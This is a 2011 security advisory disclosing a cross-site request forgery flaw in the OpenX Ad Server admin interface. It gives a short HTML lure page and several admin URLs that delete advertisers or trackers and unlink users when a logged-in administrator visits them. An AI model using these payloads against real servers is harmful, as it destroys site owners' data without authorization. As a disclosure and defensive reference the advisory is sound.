Secur-I Research Group Security Advisory ======================================================================= Title: OpenX Ad Server CSRF Vulnerability Product: OpenX Ad Server Vulnerable version: 2.8.7 and probably earlier versions Fixed version: N/A Impact: High Homepage: http://www.openx.org/ Vulnerability ID: SV-01 Found: 7/7/2011 Tested on : Ubuntu 11.04 By: Narendra Shinde Secur-I Research Group http://securview.com/ ======================================================================= Vendor description: ------------------- OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue. OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide Source: http://www.openx.org/about/facts Vulnerability Information: ------------------------- Class: Cross-Site Request Forgery (CSRF) [CWE-352] Impact: Unintentional changes in application. Remotely Exploitable: Yes Authentication Required: No User interaction Required : Yes CVE Name: N/A Vulnerability overview/description: ----------------------------------- The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data. Proof of concept: ----------------- Code: <html> <body> <h1> Check This new Snap </h1> <a href=�http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=2> Check This </a> </body> </html> The following URL could be used to perform CSRF attacks: http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=[valid-id] http://vulnerablewebsite/www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id] http://vulnerablewebsite/www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id] Workaround: ----------- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet Timeline: Discovered: 7/7/2011 Contacted vendor : No response Again Contacted Vendor: 19/7/2011 NO Respoonse Public Disclosure :24/7/2011 Thanks & Regards, Narendra. Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.